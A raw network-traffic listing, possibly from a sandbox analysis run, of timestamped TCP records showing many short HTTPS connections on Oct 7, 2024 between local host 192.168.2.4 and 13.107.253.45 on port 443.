Oct 7, 2024 18:01:20.312647104 CEST	60316	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.312746048 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.312835932 CEST	60316	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.312957048 CEST	60316	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.312994957 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.323087931 CEST	443	60311	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.323270082 CEST	443	60311	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.323362112 CEST	60311	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.323400974 CEST	60311	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.323400974 CEST	60311	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.323421001 CEST	443	60311	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.323429108 CEST	443	60311	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.325464964 CEST	60317	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.325511932 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.325581074 CEST	60317	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.325676918 CEST	60317	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.325691938 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.908792973 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.909785032 CEST	60313	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.909809113 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.910242081 CEST	60313	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.910249949 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.910394907 CEST	443	60314	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.910712957 CEST	60314	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.910722971 CEST	443	60314	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.911113024 CEST	60314	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.911119938 CEST	443	60314	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.942187071 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.942709923 CEST	60316	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.942779064 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.943156958 CEST	60316	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.943172932 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.943733931 CEST	443	60315	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.944093943 CEST	60315	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.944114923 CEST	443	60315	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.944490910 CEST	60315	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.944499969 CEST	443	60315	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.962340117 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.962727070 CEST	60317	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.962759972 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:20.963145018 CEST	60317	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:20.963150024 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.015882015 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.015911102 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.015991926 CEST	60313	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.016021013 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.016036987 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.016084909 CEST	60313	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.016285896 CEST	60313	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.016308069 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.016320944 CEST	60313	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.016326904 CEST	443	60313	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.017515898 CEST	443	60314	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.017827034 CEST	443	60314	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.017883062 CEST	60314	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.017906904 CEST	60314	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.017911911 CEST	443	60314	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.017955065 CEST	60314	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.017961025 CEST	443	60314	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.018796921 CEST	60318	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.018841028 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.018907070 CEST	60318	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.019157887 CEST	60318	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.019164085 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.019844055 CEST	60319	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.019937038 CEST	443	60319	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.020011902 CEST	60319	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.020092010 CEST	60319	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.020112991 CEST	443	60319	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.051136017 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.051166058 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.051204920 CEST	60316	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.051213980 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.051239014 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.051285028 CEST	60316	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.051429987 CEST	60316	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.051440954 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.051479101 CEST	60316	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.051484108 CEST	443	60316	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.053889036 CEST	60320	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.053922892 CEST	443	60320	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.054002047 CEST	60320	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.054114103 CEST	60320	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.054130077 CEST	443	60320	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.062088013 CEST	443	60315	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.062160969 CEST	443	60315	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.062221050 CEST	60315	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.062355042 CEST	60315	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.062380075 CEST	443	60315	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.062393904 CEST	60315	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.062402010 CEST	443	60315	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.064851999 CEST	60321	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.064872980 CEST	443	60321	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.065011978 CEST	60321	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.065149069 CEST	60321	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.065160036 CEST	443	60321	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.085160971 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.085254908 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.085400105 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.085438967 CEST	60317	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.085457087 CEST	60317	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.085623980 CEST	60317	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.085634947 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.085664988 CEST	60317	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.085669041 CEST	443	60317	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.088073015 CEST	60322	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.088089943 CEST	443	60322	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.088146925 CEST	60322	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.088251114 CEST	60322	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.088259935 CEST	443	60322	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.659104109 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.659531116 CEST	60318	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.659549952 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.659939051 CEST	60318	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.659945011 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.702481031 CEST	443	60319	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.702980995 CEST	60319	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.703062057 CEST	443	60319	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.703433037 CEST	60319	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.703449965 CEST	443	60319	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.706685066 CEST	443	60321	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.707035065 CEST	60321	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.707050085 CEST	443	60321	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.707439899 CEST	60321	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.707443953 CEST	443	60321	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.709948063 CEST	443	60320	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.710262060 CEST	60320	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.710284948 CEST	443	60320	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.710624933 CEST	60320	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.710638046 CEST	443	60320	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.869740963 CEST	443	60322	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.870285988 CEST	60322	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.870318890 CEST	443	60322	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.870768070 CEST	60322	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.870784044 CEST	443	60322	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.977860928 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.977916956 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.978002071 CEST	60318	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.978044987 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.978070021 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.978125095 CEST	60318	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.978290081 CEST	60318	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.978318930 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.978332043 CEST	60318	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.978339911 CEST	443	60318	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.981188059 CEST	60323	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.981262922 CEST	443	60323	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:21.981369972 CEST	60323	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.981528044 CEST	60323	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:21.981561899 CEST	443	60323	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.143930912 CEST	443	60320	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.144110918 CEST	443	60320	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.144186020 CEST	60320	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.144396067 CEST	60320	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.144433975 CEST	443	60320	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.144460917 CEST	60320	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.144478083 CEST	443	60320	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.147190094 CEST	60324	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.147236109 CEST	443	60324	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.147301912 CEST	60324	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.147495985 CEST	60324	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.147505999 CEST	443	60324	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.201775074 CEST	443	60321	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.201867104 CEST	443	60321	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.201915026 CEST	60321	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.202127934 CEST	60321	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.202145100 CEST	443	60321	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.202159882 CEST	60321	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.202167988 CEST	443	60321	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.204830885 CEST	443	60319	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.204906940 CEST	443	60319	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.204955101 CEST	60319	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.205447912 CEST	60325	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.205502987 CEST	443	60325	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.205568075 CEST	60325	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.205596924 CEST	60319	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.205620050 CEST	443	60319	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.205643892 CEST	60319	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.205656052 CEST	443	60319	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.206949949 CEST	60325	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.206969976 CEST	443	60325	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.208673954 CEST	60326	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.208686113 CEST	443	60326	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.208764076 CEST	60326	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.208873987 CEST	60326	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.208885908 CEST	443	60326	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.224280119 CEST	443	60322	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.224343061 CEST	443	60322	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.224390030 CEST	60322	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.224493980 CEST	60322	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.224509954 CEST	443	60322	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.224520922 CEST	60322	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.224526882 CEST	443	60322	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.226385117 CEST	60327	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.226412058 CEST	443	60327	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.226495028 CEST	60327	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.226574898 CEST	60327	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.226591110 CEST	443	60327	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.747869968 CEST	443	60323	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.748555899 CEST	60323	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.748615980 CEST	443	60323	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.749176025 CEST	60323	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.749191046 CEST	443	60323	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.829247952 CEST	443	60325	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.829679012 CEST	60325	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.829701900 CEST	443	60325	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.830106020 CEST	60325	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.830112934 CEST	443	60325	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.833072901 CEST	443	60324	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.833441973 CEST	60324	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.833471060 CEST	443	60324	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.833872080 CEST	60324	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.833878994 CEST	443	60324	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.853056908 CEST	443	60327	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.853425026 CEST	60327	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.853446007 CEST	443	60327	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.853797913 CEST	60327	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.853805065 CEST	443	60327	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.857439995 CEST	443	60323	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.857635021 CEST	443	60323	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.857696056 CEST	60323	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.857753038 CEST	60323	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.857753038 CEST	60323	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.857774019 CEST	443	60323	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.857786894 CEST	443	60323	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.860281944 CEST	60328	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.860320091 CEST	443	60328	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.860419989 CEST	60328	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.860826969 CEST	60328	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.860842943 CEST	443	60328	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.881294012 CEST	443	60326	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.881629944 CEST	60326	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.881656885 CEST	443	60326	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.882013083 CEST	60326	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.882019043 CEST	443	60326	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.944660902 CEST	443	60325	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.944741011 CEST	443	60325	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.944837093 CEST	60325	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.944989920 CEST	60325	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.945014000 CEST	443	60325	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.945028067 CEST	60325	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.945034981 CEST	443	60325	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.947499990 CEST	60329	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.947546959 CEST	443	60329	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.947649956 CEST	60329	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.947742939 CEST	60329	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.947755098 CEST	443	60329	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.952287912 CEST	443	60324	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.952461958 CEST	443	60324	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.952533960 CEST	60324	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.952570915 CEST	60324	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.952570915 CEST	60324	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.952589989 CEST	443	60324	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.952600002 CEST	443	60324	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.954763889 CEST	60330	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.954796076 CEST	443	60330	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.954879999 CEST	60330	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.954999924 CEST	60330	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.955015898 CEST	443	60330	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.970488071 CEST	443	60327	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.970681906 CEST	443	60327	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.970735073 CEST	60327	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.970823050 CEST	60327	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.970846891 CEST	443	60327	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.970859051 CEST	60327	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.970866919 CEST	443	60327	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.973829031 CEST	60331	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.973864079 CEST	443	60331	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:22.973963022 CEST	60331	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.974215031 CEST	60331	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:22.974225998 CEST	443	60331	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.021799088 CEST	443	60326	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.021858931 CEST	443	60326	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.022027969 CEST	60326	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.022241116 CEST	60326	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.022270918 CEST	443	60326	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.022290945 CEST	60326	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.022296906 CEST	443	60326	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.025410891 CEST	60332	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.025506973 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.025600910 CEST	60332	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.025719881 CEST	60332	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.025743008 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.489279985 CEST	443	60328	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.489854097 CEST	60328	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.489881039 CEST	443	60328	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.490509987 CEST	60328	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.490516901 CEST	443	60328	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.576915026 CEST	443	60329	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.577429056 CEST	60329	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.577466011 CEST	443	60329	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.578037024 CEST	60329	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.578051090 CEST	443	60329	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.593144894 CEST	443	60330	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.593624115 CEST	60330	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.593653917 CEST	443	60330	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.594019890 CEST	60330	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.594027996 CEST	443	60330	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.594953060 CEST	443	60328	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.595114946 CEST	443	60328	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.595264912 CEST	60328	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.595325947 CEST	60328	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.595325947 CEST	60328	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.595351934 CEST	443	60328	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.595366955 CEST	443	60328	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.598189116 CEST	60333	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.598227024 CEST	443	60333	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.598314047 CEST	60333	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.598448038 CEST	60333	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.598454952 CEST	443	60333	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.612848043 CEST	443	60331	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.613826036 CEST	60331	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.613826036 CEST	60331	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.613842964 CEST	443	60331	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.613863945 CEST	443	60331	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.674360991 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.674993992 CEST	60332	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.675060034 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.675421000 CEST	60332	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.675436020 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.685492992 CEST	443	60329	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.685554981 CEST	443	60329	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.685616970 CEST	60329	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.685898066 CEST	60329	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.685898066 CEST	60329	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.685925007 CEST	443	60329	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.685936928 CEST	443	60329	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.688901901 CEST	60334	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.688941002 CEST	443	60334	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.689034939 CEST	60334	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.689192057 CEST	60334	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.689209938 CEST	443	60334	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.713948011 CEST	443	60330	13.107.253.45	192.168.2.4
